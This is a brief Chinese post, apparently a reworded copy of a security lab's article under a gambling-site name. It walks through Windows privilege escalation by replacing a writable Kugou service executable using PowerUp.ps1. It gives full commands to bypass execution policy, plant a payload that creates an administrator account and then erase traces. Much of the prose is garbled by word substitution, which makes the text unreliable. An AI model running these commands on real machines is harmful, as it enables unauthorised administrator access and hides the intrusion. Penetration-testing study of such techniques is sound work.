mg不朽情缘

古语有云：“学如逆水行舟，不进则退。”面对如今随时都在变动的网络安全环境更是如此。为此，mg不朽情缘微信公家号特开设“创安尝试室专栏”，以纪录mg不朽情缘创安尝试室在技术上的索求，加强同业间的互换，相互进建，共同进取。

?+

道理：利用PowerUp.ps1天生一个能够执行我们机关的恶意号令的同名可执行法式并代替正本的可执行法式。主法式执行时挪用同名可执行法式来执行我们机关的恶意号令。

查找拥有可写的可执行文件：powershell.exe -Version 2 -nop -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"

查见解式对用户的权限：icacls "D:\tools\KGMusic\9.1.44.23567\service.exe"

利用可执行文件提权，向可写法式中写入创建用户的payload：powershell.exe -Version 2 -nop -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Write-ServiceEXE -ServiceName KugouService -Username jin -Password jin -Verbose}"

期待服务沉启或对应法式再次运行：

能够看到此时新建了一个治理员权限的用户jin

算帐痕迹：powershell.exe -Version 2 -nop -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Restore-ServiceEXE -ServiceName KugouService}"

创安尝试室